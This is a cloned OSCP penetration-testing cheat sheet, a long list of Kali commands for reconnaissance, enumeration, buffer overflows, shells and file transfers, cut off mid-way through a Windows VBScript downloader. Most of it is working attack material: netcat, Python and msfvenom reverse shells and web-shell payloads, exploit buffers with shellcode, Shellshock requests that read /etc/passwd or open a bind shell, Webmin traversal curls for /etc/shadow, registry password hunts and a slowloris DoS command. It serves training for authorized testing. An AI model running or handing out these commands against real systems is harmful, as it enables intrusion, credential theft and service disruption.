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This is a clone of frizb/OSCP-Survival-Guide

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OSCP-Survival-Guide

NOTE: This document refers to the target ip as the export variable $ip.

To set this value on the command line use the following syntax:

export ip=192.168.1.100

Kali Linux
Information Gathering & Vulnerability Scanning
Buffer Overflows and Exploits
Shells
File Transfers
Privilege Escalation
- Linux Privilege Escalation
- Windows Privilege Escalation
Client, Web and Password Attacks
Networking, Pivoting and Tunneling
The Metasploit Framework
Bypassing Antivirus Software

Kali Linux

Set the Target IP Address to the $ip system variable
export ip=192.168.1.100
Find the location of a file
locate sbd.exe
Search through directories in the $PATH environment variable
which sbd
Find a search for a file that contains a specific string in it’s name:
find / -name sbd\*
Show active internet connections
netstat -lntp
Change Password
passwd
Verify a service is running and listening
netstat -antp |grep apache
Start a service
systemctl start ssh

systemctl start apache2
Have a service start at boot
systemctl enable ssh
Stop a service
systemctl stop ssh
Unzip a gz file
gunzip access.log.gz
Unzip a tar.gz file
tar -xzvf file.tar.gz
Search command history
history | grep phrase_to_search_for
Download a webpage
wget http://www.cisco.com
Open a webpage
curl http://www.cisco.com
String manipulation
- Count number of lines in file
  wc -l index.html
- Get the start or end of a file
  head index.html
  
  tail index.html
- Extract all the lines that contain a string
  grep "href=" index.html
- Cut a string by a delimiter, filter results then sort
  grep "href=" index.html | cut -d "/" -f 3 | grep "\\." | cut -d '"' -f 1 | sort -u
- Using Grep and regular expressions and output to a file
  cat index.html | grep -o 'http://\[^"\]\*' | cut -d "/" -f 3 | sort –u > list.txt
- Use a bash loop to find the IP address behind each host
  for url in $(cat list.txt); do host $url; done
- Collect all the IP Addresses from a log file and sort by frequency
  cat access.log | cut -d " " -f 1 | sort | uniq -c | sort -urn
Decoding using Kali
- Decode Base64 Encoded Values
  
  echo -n "QWxhZGRpbjpvcGVuIHNlc2FtZQ==" | base64 --decode
- Decode Hexidecimal Encoded Values
  echo -n "46 4c 34 36 5f 33 3a 32 396472796 63637756 8656874" | xxd -r -ps
Netcat - Read and write TCP and UDP Packets
- Download Netcat for Windows (handy for creating reverse shells and transfering files on windows systems):https://joncraton.org/blog/46/netcat-for-windows/
- Connect to a POP3 mail server
 nc -nv $ip 110
- Listen on TCP/UDP port
 nc -nlvp 4444
- Connect to a netcat port
 nc -nv $ip 4444
- Send a file using netcat
 nc -nv $ip 4444 < /usr/share/windows-binaries/wget.exe
- Receive a file using netcat
 nc -nlvp 4444 > incoming.exe
- Some OSs (OpenBSD) will use nc.traditional rather than nc so watch out for that...
```
whereis nc
nc: /bin/nc.traditional /usr/share/man/man1/nc.1.gz

/bin/nc.traditional -e /bin/bash 1.2.3.4 4444
```
- Create a reverse shell with Ncat using cmd.exe on Windows
 nc.exe -nlvp 4444 -e cmd.exe
 
 or
 
 nc.exe -nv <Remote IP> <Remote Port> -e cmd.exe
- Create a reverse shell with Ncat using bash on Linux
 nc -nv $ip 4444 -e /bin/bash
- Netcat for Banner Grabbing:
 
 echo "" | nc -nv -w1 <IP Address> <Ports>
Ncat - Netcat for Nmap project which provides more security avoid IDS
- Reverse shell from windows using cmd.exe using ssl
  ncat --exec cmd.exe --allow $ip -vnl 4444 --ssl
- Listen on port 4444 using ssl
  ncat -v $ip 4444 --ssl
Wireshark
- Show only SMTP (port 25) and ICMP traffic:
  
  tcp.port eq 25 or icmp
- Show only traffic in the LAN (192.168.x.x), between workstations and servers -- no Internet:
  
  ip.src==192.168.0.0/16 and ip.dst==192.168.0.0/16
- Filter by a protocol ( e.g. SIP ) and filter out unwanted IPs:
  
  ip.src != xxx.xxx.xxx.xxx && ip.dst != xxx.xxx.xxx.xxx && sip
- Some commands are equal
  
  ip.addr == xxx.xxx.xxx.xxx
  
  Equals
  
  ip.src == xxx.xxx.xxx.xxx or ip.dst == xxx.xxx.xxx.xxx
  
  ip.addr != xxx.xxx.xxx.xxx
  
  Equals
  
  ip.src != xxx.xxx.xxx.xxx or ip.dst != xxx.xxx.xxx.xxx
Tcpdump
- Display a pcap file
  tcpdump -r passwordz.pcap
- Display ips and filter and sort
  tcpdump -n -r passwordz.pcap | awk -F" " '{print $3}' | sort -u | head
- Grab a packet capture on port 80
  tcpdump tcp port 80 -w output.pcap -i eth0
- Check for ACK or PSH flag set in a TCP packet
  tcpdump -A -n 'tcp[13] = 24' -r passwordz.pcap
Dsniff
- Display a pcap file with telnet protocol
  dsniff -p ch2.pcap
IPTables
- Deny traffic to ports except for Local Loopback
  
  iptables -A INPUT -p tcp --destination-port 13327 ! -d $ip -j DROP
  
  iptables -A INPUT -p tcp --destination-port 9991 ! -d $ip -j DROP
- Clear ALL IPTables firewall rules
```
```bash
  iptables -P INPUT ACCEPT
  iptables -P FORWARD ACCEPT
  iptables -P OUTPUT ACCEPT
  iptables -t nat -F
  iptables -t mangle -F
  iptables -F
  iptables -X
  iptables -t raw -F iptables -t raw -X
```
```

Information Gathering & Vulnerability Scanning

Passive Information Gathering
Google Hacking
- Google search to find website sub domains
  site:microsoft.com
- Google filetype, and intitle
  intitle:"netbotz appliance" "OK" -filetype:pdf
- Google inurl
  inurl:"level/15/sexec/-/show"
- Google Hacking Database:
  https://www.exploit-db.com/google-hacking-database/
SSL Certificate Testing
https://www.ssllabs.com/ssltest/analyze.html
Email Harvesting
- Simply Email
  git clone https://github.com/killswitch-GUI/SimplyEmail.git
  
  ./SimplyEmail.py -all -e TARGET-DOMAIN
LDAP
- LDAP null bind
  ldapsearch -x -b "ou=anonymous,dc=challenge01,dc=root-me,dc=org" -H "ldap://challenge01.root-me.org:54013"
Netcraft
- Determine the operating system and tools used to build a site
  https://searchdns.netcraft.com/
Whois Enumeration
whois domain-name-here.com

whois $ip
Banner Grabbing
- nc -v $ip 25
- telnet $ip 25
- nc TARGET-IP 80
Recon-ng - full-featured web reconnaissance framework written in Python
- cd /opt; git clone https://LaNMaSteR53@bitbucket.org/LaNMaSteR53/recon-ng.git
  
  cd /opt/recon-ng
  
  ./recon-ng
  
  show modules
  
  help
Active Information Gathering
Port Scanning

Subnet Reference Table

<table> <thead> <tr> <th>/</th> <th>Addresses</th> <th>Hosts</th> <th>Netmask</th> <th>Amount of a Class C</th> </tr> </thead> <tbody> <tr> <td>/30</td> <td>4</td> <td>2</td> <td>255.255.255.252</td> <td>1/64</td> </tr> <tr> <td>/29</td> <td>8</td> <td>6</td> <td>255.255.255.248</td> <td>1/32</td> </tr> <tr> <td>/28</td> <td>16</td> <td>14</td> <td>255.255.255.240</td> <td>1/16</td> </tr> <tr> <td>/27</td> <td>32</td> <td>30</td> <td>255.255.255.224</td> <td>1/8</td> </tr> <tr> <td>/26</td> <td>64</td> <td>62</td> <td>255.255.255.192</td> <td>1/4</td> </tr> <tr> <td>/25</td> <td>128</td> <td>126</td> <td>255.255.255.128</td> <td>1/2</td> </tr> <tr> <td>/24</td> <td>256</td> <td>254</td> <td>255.255.255.0</td> <td>1</td> </tr> <tr> <td>/23</td> <td>512</td> <td>510</td> <td>255.255.254.0</td> <td>2</td> </tr> <tr> <td>/22</td> <td>1024</td> <td>1022</td> <td>255.255.252.0</td> <td>4</td> </tr> <tr> <td>/21</td> <td>2048</td> <td>2046</td> <td>255.255.248.0</td> <td>8</td> </tr> <tr> <td>/20</td> <td>4096</td> <td>4094</td> <td>255.255.240.0</td> <td>16</td> </tr> <tr> <td>/19</td> <td>8192</td> <td>8190</td> <td>255.255.224.0</td> <td>32</td> </tr> <tr> <td>/18</td> <td>16384</td> <td>16382</td> <td>255.255.192.0</td> <td>64</td> </tr> <tr> <td>/17</td> <td>32768</td> <td>32766</td> <td>255.255.128.0</td> <td>128</td> </tr> <tr> <td>/16</td> <td>65536</td> <td>65534</td> <td>255.255.0.0</td> <td>256</td> </tr> </tbody> </table>

Set the ip address as a variable
export ip=192.168.1.100 nmap -A -T4 -p- $ip
Netcat port Scanning
nc -nvv -w 1 -z $ip 3388-3390
Discover active IPs usign ARP on the network: arp-scan $ip/24
Discover who else is on the network
netdiscover
Discover IP Mac and Mac vendors from ARP
netdiscover -r $ip/24
Nmap stealth scan using SYN
nmap -sS $ip
Nmap stealth scan using FIN
nmap -sF $ip
Nmap Banner Grabbing
nmap -sV -sT $ip
Nmap OS Fingerprinting
nmap -O $ip
Nmap Regular Scan:
nmap $ip/24
Enumeration Scan
nmap -p 1-65535 -sV -sS -A -T4 $ip/24 -oN nmap.txt
Enumeration Scan All Ports TCP / UDP and output to a txt file
nmap -oN nmap2.txt -v -sU -sS -p- -A -T4 $ip
Nmap output to a file:
nmap -oN nmap.txt -p 1-65535 -sV -sS -A -T4 $ip/24
Quick Scan:
nmap -T4 -F $ip/24
Quick Scan Plus:
nmap -sV -T4 -O -F --version-light $ip/24
Quick traceroute
nmap -sn --traceroute $ip
All TCP and UDP Ports
nmap -v -sU -sS -p- -A -T4 $ip
Intense Scan:
nmap -T4 -A -v $ip
Intense Scan Plus UDP
nmap -sS -sU -T4 -A -v $ip/24
Intense Scan ALL TCP Ports
nmap -p 1-65535 -T4 -A -v $ip/24
Intense Scan - No Ping
nmap -T4 -A -v -Pn $ip/24
Ping scan
nmap -sn $ip/24
Slow Comprehensive Scan
nmap -sS -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script "default or (discovery and safe)" $ip/24
Scan with Active connect in order to weed out any spoofed ports designed to troll you
nmap -p1-65535 -A -T5 -sT $ip
Enumeration
DNS Enumeration
- NMAP DNS Hostnames Lookup nmap -F --dns-server <dns server ip> <target ip range>
- Host Lookup
 host -t ns megacorpone.com
- Reverse Lookup Brute Force - find domains in the same range
 for ip in $(seq 155 190);do host 50.7.67.$ip;done |grep -v "not found"
- Perform DNS IP Lookup
 dig a domain-name-here.com @nameserver
- Perform MX Record Lookup
 dig mx domain-name-here.com @nameserver
- Perform Zone Transfer with DIG
 dig axfr domain-name-here.com @nameserver
- DNS Zone Transfers
 Windows DNS zone transfer
 
 nslookup -> set type=any -> ls -d blah.com
 
 Linux DNS zone transfer
 
 dig axfr blah.com @ns1.blah.com
- Dnsrecon DNS Brute Force
 dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std --xml ouput.xml
- Dnsrecon DNS List of megacorp
 dnsrecon -d megacorpone.com -t axfr
- DNSEnum
 dnsenum zonetransfer.me
NMap Enumeration Script List:
- NMap Discovery
 https://nmap.org/nsedoc/categories/discovery.html
- Nmap port version detection MAXIMUM power
 nmap -vvv -A --reason --script="+(safe or default) and not broadcast" -p <port> <host>
NFS (Network File System) Enumeration
- Show Mountable NFS Shares nmap -sV --script=nfs-showmount $ip
RPC (Remote Procedure Call) Enumeration
- Connect to an RPC share without a username and password and enumerate privledges rpcclient --user="" --command=enumprivs -N $ip
- Connect to an RPC share with a username and enumerate privledges rpcclient --user="<Username>" --command=enumprivs $ip
SMB Enumeration
- SMB OS Discovery
 nmap $ip --script smb-os-discovery.nse
- Nmap port scan
 nmap -v -p 139,445 -oG smb.txt $ip-254
- Netbios Information Scanning
 nbtscan -r $ip/24
- Nmap find exposed Netbios servers
 nmap -sU --script nbstat.nse -p 137 $ip
- Nmap all SMB scripts scan
 
 nmap -sV -Pn -vv -p 445 --script='(smb*) and not (brute or broadcast or dos or external or fuzzer)' --script-args=unsafe=1 $ip
- Nmap all SMB scripts authenticated scan
 
 nmap -sV -Pn -vv -p 445 --script-args smbuser=<username>,smbpass=<password> --script='(smb*) and not (brute or broadcast or dos or external or fuzzer)' --script-args=unsafe=1 $ip
- SMB Enumeration Tools
 nmblookup -A $ip
 
 smbclient //MOUNT/share -I $ip -N
 
 rpcclient -U "" $ip
 
 enum4linux $ip
 
 enum4linux -a $ip
- SMB Finger Printing
 smbclient -L //$ip
- Nmap Scan for Open SMB Shares
 nmap -T4 -v -oA shares --script smb-enum-shares --script-args smbuser=username,smbpass=password -p445 192.168.10.0/24
- Nmap scans for vulnerable SMB Servers
 nmap -v -p 445 --script=smb-check-vulns --script-args=unsafe=1 $ip
- Nmap List all SMB scripts installed
 ls -l /usr/share/nmap/scripts/smb*
- Enumerate SMB Users
 
 nmap -sU -sS --script=smb-enum-users -p U:137,T:139 $ip-14
 
 OR
 
 python /usr/share/doc/python-impacket-doc/examples /samrdump.py $ip
- RID Cycling - Null Sessions
 ridenum.py $ip 500 50000 dict.txt
- Manual Null Session Testing
 
 Windows: net use \\$ip\IPC$ "" /u:""
 
 Linux: smbclient -L //$ip
SMTP Enumeration - Mail Severs
- Verify SMTP port using Netcat
  nc -nv $ip 25

POP3 Enumeration - Reading other peoples mail - You may find usernames and passwords for email accounts, so here is how to check the mail using Telnet

 root@kali:~# telnet $ip 110
 +OK beta POP3 server (JAMES POP3 Server 2.3.2) ready 
 USER billydean    
 +OK
 PASS password
 +OK Welcome billydean

 list

 +OK 2 1807
 1 786
 2 1021

 retr 1

 +OK Message follows
 From: jamesbrown@motown.com
 Dear Billy Dean,

 Here is your login for remote desktop ... try not to forget it this time!
 username: billydean
 password: PA$$W0RD!Z

SNMP Enumeration -Simple Network Management Protocol
- Fix SNMP output values so they are human readable
  apt-get install snmp-mibs-downloader download-mibs echo "" > /etc/snmp/snmp.conf
- SNMP Enumeration Commands
  - snmpcheck -t $ip -c public
  - snmpwalk -c public -v1 $ip 1|
  - grep hrSWRunName|cut -d\* \* -f
  - snmpenum -t $ip
  - onesixtyone -c names -i hosts
- SNMPv3 Enumeration
  nmap -sV -p 161 --script=snmp-info $ip/24
- Automate the username enumeration process for SNMPv3:
  apt-get install snmp snmp-mibs-downloader wget https://raw.githubusercontent.com/raesene/TestingScripts/master/snmpv3enum.rb
- SNMP Default Credentials
  /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt
MS SQL Server Enumeration
- Nmap Information Gathering
  
  nmap -p 1433 --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER $ip

Webmin and miniserv/0.01 Enumeration - Port 10000

Test for LFI & file disclosure vulnerability by grabbing /etc/passwd

`curl http://$ip:10000//unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/etc/passwd`

Test to see if webmin is running as root by grabbing /etc/shadow

`curl http://$ip:10000//unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/etc/shadow`

Linux OS Enumeration
- List all SUID files
  find / -perm -4000 2>/dev/null
- Determine the current version of Linux
  cat /etc/issue
- Determine more information about the environment
  uname -a
- List processes running
  ps -xaf
- List the allowed (and forbidden) commands for the invoking use
  sudo -l
- List iptables rules
  iptables --table nat --list iptables -vL -t filter iptables -vL -t nat iptables -vL -t mangle iptables -vL -t raw iptables -vL -t security
Windows OS Enumeration
- net config Workstation
- systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
- hostname
- net users
- ipconfig /all
- route print
- arp -A
- netstat -ano
- netsh firewall show state
- netsh firewall show config
- schtasks /query /fo LIST /v
- tasklist /SVC
- net start
- DRIVERQUERY
- reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
- reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
- dir /s pass == cred == vnc == .config
- findstr /si password *.xml *.ini *.txt
- reg query HKLM /f password /t REG_SZ /s
- reg query HKCU /f password /t REG_SZ /s
Vulnerability Scanning with Nmap
Nmap Exploit Scripts
https://nmap.org/nsedoc/categories/exploit.html
Nmap search through vulnerability scripts
cd /usr/share/nmap/scripts/ ls -l \*vuln\*
Nmap search through Nmap Scripts for a specific keyword
ls /usr/share/nmap/scripts/\* | grep ftp
Scan for vulnerable exploits with nmap
nmap --script exploit -Pn $ip
NMap Auth Scripts
https://nmap.org/nsedoc/categories/auth.html
Nmap Vuln Scanning
https://nmap.org/nsedoc/categories/vuln.html
NMap DOS Scanning
nmap --script dos -Pn $ip NMap Execute DOS Attack nmap --max-parallelism 750 -Pn --script http-slowloris --script-args http-slowloris.runforever=true
Scan for coldfusion web vulnerabilities
nmap -v -p 80 --script=http-vuln-cve2010-2861 $ip
Anonymous FTP dump with Nmap
nmap -v -p 21 --script=ftp-anon.nse $ip-254
SMB Security mode scan with Nmap
nmap -v -p 21 --script=ftp-anon.nse $ip-254
File Enumeration
- Find UID 0 files root execution
- /usr/bin/find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \\; 2>/dev/null
- Get handy linux file system enumeration script (/var/tmp)
 wget https://highon.coffee/downloads/linux-local-enum.sh chmod +x ./linux-local-enum.sh ./linux-local-enum.sh
- Find executable files updated in August
 find / -executable -type f 2> /dev/null | egrep -v "^/bin|^/var|^/etc|^/usr" | xargs ls -lh | grep Aug
- Find a specific file on linux
 find /. -name suid\*
- Find all the strings in a file
 strings <filename>
- Determine the type of a file
 file <filename>
HTTP Enumeration
- Search for folders with gobuster:
 gobuster -w /usr/share/wordlists/dirb/common.txt -u $ip
- OWasp DirBuster - Http folder enumeration - can take a dictionary file
- Dirb - Directory brute force finding using a dictionary file
 dirb http://$ip/ wordlist.dict dirb <http://vm/>
 
 Dirb against a proxy
- dirb [http://$ip/](http://172.16.0.19/) -p $ip:3129
- Nikto
 nikto -h $ip
- HTTP Enumeration with NMAP
 nmap --script=http-enum -p80 -n $ip/24
- Nmap Check the server methods
 nmap --script http-methods --script-args http-methods.url-path='/test' $ip
- Get Options available from web server curl -vX OPTIONS vm/test
- Uniscan directory finder:
 uniscan -qweds -u <http://vm/>
- Wfuzz - The web brute forcer
 
 wfuzz -c -w /usr/share/wfuzz/wordlist/general/megabeast.txt $ip:60080/?FUZZ=test
 
 wfuzz -c --hw 114 -w /usr/share/wfuzz/wordlist/general/megabeast.txt $ip:60080/?page=FUZZ
 
 wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt "$ip:60080/?page=mailer&mail=FUZZ"
 
 wfuzz -c -w /usr/share/seclists/Discovery/Web_Content/common.txt --hc 404 $ip/FUZZ
 
 Recurse level 3
 
 wfuzz -c -w /usr/share/seclists/Discovery/Web_Content/common.txt -R 3 --sc 200 $ip/FUZZ
Open a service using a port knock (Secured with Knockd)
for x in 7000 8000 9000; do nmap -Pn --host_timeout 201 --max-retries 0 -p $x server_ip_address; done
WordPress Scan - Wordpress security scanner
- wpscan --url $ip/blog --proxy $ip:3129
RSH Enumeration - Unencrypted file transfer system
- auxiliary/scanner/rservices/rsh_login
Finger Enumeration
- finger @$ip
- finger batman@$ip
TLS & SSL Testing
- ./testssl.sh -e -E -f -p -y -Y -S -P -c -H -U $ip | aha > OUTPUT-FILE.html
Proxy Enumeration (useful for open proxies)
- nikto -useproxy http://$ip:3128 -h $ip
Steganography

apt-get install steghide

steghide extract -sf picture.jpg

steghide info picture.jpg

apt-get install stegosuite

The OpenVAS Vulnerability Scanner
- apt-get update
  apt-get install openvas
  openvas-setup
- netstat -tulpn
- Login at:
  https://$ip:9392

Buffer Overflows and Exploits

DEP and ASLR - Data Execution Prevention (DEP) and Address Space Layout Randomization (ASLR)
Nmap Fuzzers:
- NMap Fuzzer List
  https://nmap.org/nsedoc/categories/fuzzer.html
- NMap HTTP Form Fuzzer
  nmap --script http-form-fuzzer --script-args 'http-form-fuzzer.targets={1={path=/},2={path=/register.html}}' -p 80 $ip
- Nmap DNS Fuzzer
  nmap --script dns-fuzz --script-args timelimit=2h $ip -d
MSFvenom
https://www.offensive-security.com/metasploit-unleashed/msfvenom/
Windows Buffer Overflows
- Controlling EIP
```
 locate pattern_create
 pattern_create.rb -l 2700
 locate pattern_offset
 pattern_offset.rb -q 39694438
```
- Verify exact location of EIP - [*] Exact match at offset 2606
```
buffer = "A" \* 2606 + "B" \* 4 + "C" \* 90
```
- Check for “Bad Characters” - Run multiple times 0x00 - 0xFF
- Use Mona to determine a module that is unprotected
- Bypass DEP if present by finding a Memory Location with Read and Execute access for JMP ESP
- Use NASM to determine the HEX code for a JMP ESP instruction
```
/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb

JMP ESP  
00000000 FFE4 jmp esp
```
- Run Mona in immunity log window to find (FFE4) XEF command
```
!mona find -s "\xff\xe4" -m slmfc.dll  
found at 0x5f4a358f - Flip around for little endian format
buffer = "A" * 2606 + "\x8f\x35\x4a\x5f" + "C" * 390
```
- MSFVenom to create payload
```
msfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=443 -f c –e x86/shikata_ga_nai -b "\x00\x0a\x0d"
```
- Final Payload with NOP slide
```
buffer="A"*2606 + "\x8f\x35\x4a\x5f" + "\x90" * 8 + shellcode
```
- Create a PE Reverse Shell
  msfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=4444 -f
  exe -o shell_reverse.exe
- Create a PE Reverse Shell and Encode 9 times with Shikata_ga_nai
  msfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=4444 -f
  exe -e x86/shikata_ga_nai -i 9 -o shell_reverse_msf_encoded.exe
- Create a PE reverse shell and embed it into an existing executable
  msfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=4444 -f exe -e x86/shikata_ga_nai -i 9 -x /usr/share/windows-binaries/plink.exe -o shell_reverse_msf_encoded_embedded.exe
- Create a PE Reverse HTTPS shell
  msfvenom -p windows/meterpreter/reverse_https LHOST=$ip LPORT=443 -f exe -o met_https_reverse.exe
Linux Buffer Overflows
- Run Evans Debugger against an app
  edb --run /usr/games/crossfire/bin/crossfire
- ESP register points toward the end of our CBuffer
  add eax,12
  jmp eax
  83C00C add eax,byte +0xc
  FFE0 jmp eax
- Check for “Bad Characters” Process of elimination - Run multiple times 0x00 - 0xFF
- Find JMP ESP address
  "\x97\x45\x13\x08" # Found at Address 08134597
- crash = "\x41" * 4368 + "\x97\x45\x13\x08" + "\x83\xc0\x0c\xff\xe0\x90\x90"
- msfvenom -p linux/x86/shell_bind_tcp LPORT=4444 -f c -b "\x00\x0a\x0d\x20" –e x86/shikata_ga_nai
- Connect to the shell with netcat:
  nc -v $ip 4444

Shells

Netcat Shell Listener

nc -nlvp 4444

Spawning a TTY Shell - Break out of Jail or limited shell You should almost always upgrade your shell after taking control of an apache or www user.

(For example when you encounter an error message when trying to run an exploit sh: no job control in this shell )

(hint: sudo -l to see what you can run)

You may encounter limited shells that use rbash and only allow you to execute a single command per session. You can overcome this by executing an SSH shell to your localhost:
```
  ssh user@$ip nc $localip 4444 -e /bin/sh
  enter user's password
  python -c 'import pty; pty.spawn("/bin/sh")'
  export TERM=linux
```

python -c 'import pty; pty.spawn("/bin/sh")'

       python -c 'import socket,subprocess,os;s=socket.socket(socket.AF\_INET,socket.SOCK\_STREAM);          s.connect(("$ip",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(\["/bin/sh","-i"\]);'

echo os.system('/bin/bash')

/bin/sh -i

perl —e 'exec "/bin/sh";'

perl: exec "/bin/sh";

ruby: exec "/bin/sh"

lua: os.execute('/bin/sh')

From within IRB: exec "/bin/sh"

From within vi: :!bash or

:set shell=/bin/bash:shell

From within vim ':!bash':

From within nmap: !sh

From within tcpdump

 echo $’id\\n/bin/netcat $ip 443 –e /bin/bash’ > /tmp/.test chmod +x /tmp/.test sudo tcpdump –ln –I eth- -w /dev/null –W 1 –G 1 –z /tmp/.tst –Z root

From busybox /bin/busybox telnetd -|/bin/sh -p9999

Pen test monkey PHP reverse shell
http://pentestmonkey.net/tools/web-shells/php-reverse-shel
php-findsock-shell - turns PHP port 80 into an interactive shell
http://pentestmonkey.net/tools/web-shells/php-findsock-shell
Perl Reverse Shell
http://pentestmonkey.net/tools/web-shells/perl-reverse-shell
PHP powered web browser Shell b374k with file upload etc.
https://github.com/b374k/b374k
Windows reverse shell - PowerSploit’s Invoke-Shellcode script and inject a Meterpreter shellhttps://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-Shellcode.ps1
Web Backdoors from Fuzzdb https://github.com/fuzzdb-project/fuzzdb/tree/master/web-backdoors
Creating Meterpreter Shells with MSFVenom - http://www.securityunlocked.com/2016/01/02/network-security-pentesting/most-useful-msfvenom-payloads/

Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf

Windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

Mac

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho

Web Payloads

PHP

msfvenom -p php/reverse_php LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php

OR

msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php

Then we need to add the <?php at the first line of the file so that it will execute as a PHP webpage:

cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

ASP

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp

JSP

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp

WAR

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war

Scripting Payloads

Python

msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py

Bash

msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh

Perl

msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl

Shellcode

For all shellcode see ‘msfvenom –help-formats’ for information as to valid parameters. Msfvenom will output code that is able to be cut and pasted in this language for your exploits.

Linux Based Shellcode

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

Windows Based Shellcode

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

Mac Based Shellcode

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

Handlers Metasploit handlers can be great at quickly setting up Metasploit to be in a position to receive your incoming shells. Handlers should be in the following format.
```
 use exploit/multi/handler
 set PAYLOAD <Payload name>
 set LHOST <LHOST value>
 set LPORT <LPORT value>
 set ExitOnSession false
 exploit -j -z
```
Once the required values are completed the following command will execute your handler – ‘msfconsole -L -r ‘
SSH to Meterpreter: https://daemonchild.com/2015/08/10/got-ssh-creds-want-meterpreter-try-this/
```
 use auxiliary/scanner/ssh/ssh_login
 use post/multi/manage/shell_to_meterpreter
```
SBD.exe

sbd is a Netcat-clone, designed to be portable and offer strong encryption. It runs on Unix-like operating systems and on Microsoft Win32. sbd features AES-CBC-128 + HMAC-SHA1 encryption (by Christophe Devine), program execution (-e option), choosing source port, continuous reconnection with delay, and some other nice features. sbd supports TCP/IP communication only. sbd.exe (part of the Kali linux distribution: /usr/share/windows-binaries/backdoors/sbd.exe) can be uploaded to a windows box as a Netcat alternative.
Shellshock
- Testing for shell shock with NMap
root@kali:~/Documents# nmap -sV -p 80 --script http-shellshock --script-args uri=/cgi-bin/admin.cgi $ip
- git clone https://github.com/nccgroup/shocker
./shocker.py -H TARGET --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose
- Shell Shock SSH Forced Command
 Check for forced command by enabling all debug output with ssh
```
 ssh -vvv 
 ssh -i noob noob@$ip '() { :;}; /bin/bash'
```
- cat file (view file contents)
```
 echo -e "HEAD /cgi-bin/status HTTP/1.1\\r\\nUser-Agent: () {:;}; echo \\$(</etc/passwd)\\r\\nHost:vulnerable\\r\\nConnection: close\\r\\n\\r\\n" | nc TARGET 80
```
- Shell Shock run bind shell
```
 echo -e "HEAD /cgi-bin/status HTTP/1.1\\r\\nUser-Agent: () {:;}; /usr/bin/nc -l -p 9999 -e /bin/sh\\r\\nHost:vulnerable\\r\\nConnection: close\\r\\n\\r\\n" | nc TARGET 80
```

File Transfers

Post exploitation refers to the actions performed by an attacker, once some level of control has been gained on his target.
Simple Local Web Servers
- Run a basic http server, great for serving up shells etc
  python -m SimpleHTTPServer 80
- Run a basic Python3 http server, great for serving up shells etc
  python3 -m http.server
- Run a ruby webrick basic http server
  ruby -rwebrick -e "WEBrick::HTTPServer.new
  (:Port => 80, :DocumentRoot => Dir.pwd).start"
- Run a basic PHP http server
  php -S $ip:80
Creating a wget VB Script on Windows:
https://github.com/erik1o6/oscp/blob/master/wget-vbs-win.txt

Windows file transfer script that can be pasted to the command line. File transfers to a Windows machine can be tricky without a Meterpreter shell. The following script can be copied and pasted into a basic windows reverse and used to transfer files from a web server (the timeout 1 commands are required after each new line):

 echo Set args = Wscript.Arguments  >> webdl.vbs
 timeout 1
 echo Url = "http://1.1.1.1/windows-privesc-check2.exe"  >> webdl.vbs
 timeout 1
 echo dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")  >> webdl.vbs
 timeout 1
